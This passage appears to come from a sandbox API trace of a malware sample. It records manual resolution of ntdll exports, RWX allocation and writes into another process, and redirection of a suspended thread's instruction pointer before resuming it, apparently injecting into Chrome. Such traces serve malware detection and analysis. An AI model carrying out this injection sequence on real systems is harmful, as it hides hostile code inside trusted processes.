lstrcmpA (lpString1="DbgPrompt", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrGetProcedureAddress") returned -1 [0073.143] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0073.144] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd16", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault16", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume16", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="LdrGetProcedureAddress") returned -1 [0073.145] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrGetProcedureAddress") returned 0 [0073.145] CreateFileA (lpFileName="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0073.145] SetFilePointer (in: hFile=0x134, lDistanceToMove=1064584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103e88 [0073.145] ReadFile (in: hFile=0x134, lpBuffer=0x2fe180, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fe1b8, lpOverlapped=0x0 | out: lpBuffer=0x2fe180*, lpNumberOfBytesRead=0x2fe1b8*=0x4, lpOverlapped=0x0) returned 1 [0073.145] CloseHandle (hObject=0x134) returned 1 [0073.145] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef1cc0 | out: hHeap=0x1ee0000) returned 1 [0073.146] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x208) returned 0x1ef1cc0 [0073.146] GetModuleFileNameA (in: hModule=0x77160000, lpFilename=0x1ef1cc0, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0073.146] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwProtectVirtualMemory") returned -1 [0073.146] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwProtectVirtualMemory") returned -1 [0073.146] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwProtectVirtualMemory") returned -1 [0073.146] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwProtectVirtualMemory") returned -1 [0073.146] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0073.146] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0073.146] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwProtectVirtualMemory") returned -1 [0073.146] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwProtectVirtualMemory") returned -1 [0073.146] CreateFileA (lpFileName="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0073.146] SetFilePointer (in: hFile=0x134, lDistanceToMove=1070632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x105628 [0073.146] ReadFile (in: hFile=0x134, lpBuffer=0x2fe180, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fe1b8, lpOverlapped=0x0 | out: lpBuffer=0x2fe180*, lpNumberOfBytesRead=0x2fe1b8*=0x4, lpOverlapped=0x0) returned 1 [0073.147] CloseHandle (hObject=0x134) returned 1 [0073.147] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef1cc0 | out: hHeap=0x1ee0000) returned 1 [0073.147] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x318) returned 0x22dee30 [0073.147] NtAllocateVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x2fdc60*=0x0, ZeroBits=0x0, RegionSize=0x2fdc68*=0x318, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x2fdc60*=0x3e0000, RegionSize=0x2fdc68*=0x1000) returned 0x0 [0073.147] NtGetContextThread (in: ThreadHandle=0x12c, Context=0x2fdcb0 | out: Context=0x2fdcb0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x11, Rcx=0x13f510000, Rdx=0x1, Rbx=0x13f5d3a08, Rsp=0x23f048, Rbp=0x77265468, Rsi=0x1, Rdi=0x3f2c10, R8=0x0, R9=0x3f12f0, R10=0x16, R11=0x16, R12=0x13f5437e0, R13=0x0, R14=0x771b9bc0, R15=0x0, Rip=0x13f5437e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0073.149] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0073.149] NtWriteVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x3e0000, Buffer=0x22dee30*, NumberOfBytesToWrite=0x318, NumberOfBytesWritten=0x2fe1a0 | out: Buffer=0x22dee30*, NumberOfBytesWritten=0x2fe1a0*=0x318) returned 0x0 [0073.149] NtSetContextThread (ThreadHandle=0x12c, Context=0x2fdcb0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x3e0000, Rcx=0x13f510000, Rdx=0x1, Rbx=0x13f5d3a08, Rsp=0x23f048, Rbp=0x77265468, Rsi=0x1, Rdi=0x3f2c10, R8=0x0, R9=0x3f12f0, R10=0x16, R11=0x16, R12=0x13f5437e0, R13=0x0, R14=0x771b9bc0, R15=0x0, Rip=0x3e0218, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0073.149] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0073.149] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dee30 | out: hHeap=0x1ee0000) returned 1 [0073.149] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2b60000) returned 0x0 [0073.160] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0073.160] CloseHandle (hObject=0x138) returned 1 [0073.160] VirtualProtectEx (in: hProcess=0x130, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2fe808 | out: lpflOldProtect=0x2fe808*=0x20) returned 1 [0073.160] NtWriteVirtualMemory (in: ProcessHandle=0x130, BaseAddress=0x13f5437e0, Buffer=0x2fe2e0*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x2fe290 | out: Buffer=0x2fe2e0*, NumberOfBytesWritten=0x2fe290*=0x4) returned 0x0 [0073.161] VirtualProtectEx (in: hProcess=0x130, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x2fe808 | out: lpflOldProtect=0x2fe808*=0x40) returned 1 [0073.161] ResumeThread (hThread=0x12c) returned 0x1 [0073.234] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dc5d0 | out: hHeap=0x1ee0000) returned 1 [0075.073] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0075.073] LoadLibraryExW (lpLibFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\chrome.dll", hFile=0x0, dwFlags=0x8) returned 0x7feef100000 [0078.048] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.048] LoadLibraryExW (lpLibFileName="OLEACCRC.DLL", hFile=0x0, dwFlags=0x2) returned 0x340001 [0078.048] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.300] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.300] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0078.300] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.300] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef9a10000 [0078.300] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.302] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.302] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0078.302] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.302] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0078.303] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.303] LoadLibraryExW (lpLibFileName=0x7fef16b2848, hFile=0x0, dwFlags=0x800) returned 0x0 [0078.303] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.303] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0078.305] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.319] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.319] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0078.321] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.321] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0078.321] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.321] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x77040000 [0078.321] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.324] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.324] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0078.332] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.332] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0078.450] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.452] LoadLibraryExW (lpLibFileName="api-ms-win-core-string-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0078.453] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.454] LoadLibraryExW (lpLibFileName="api-ms-win-core-datetime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0078.476] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.476] LoadLibraryExW 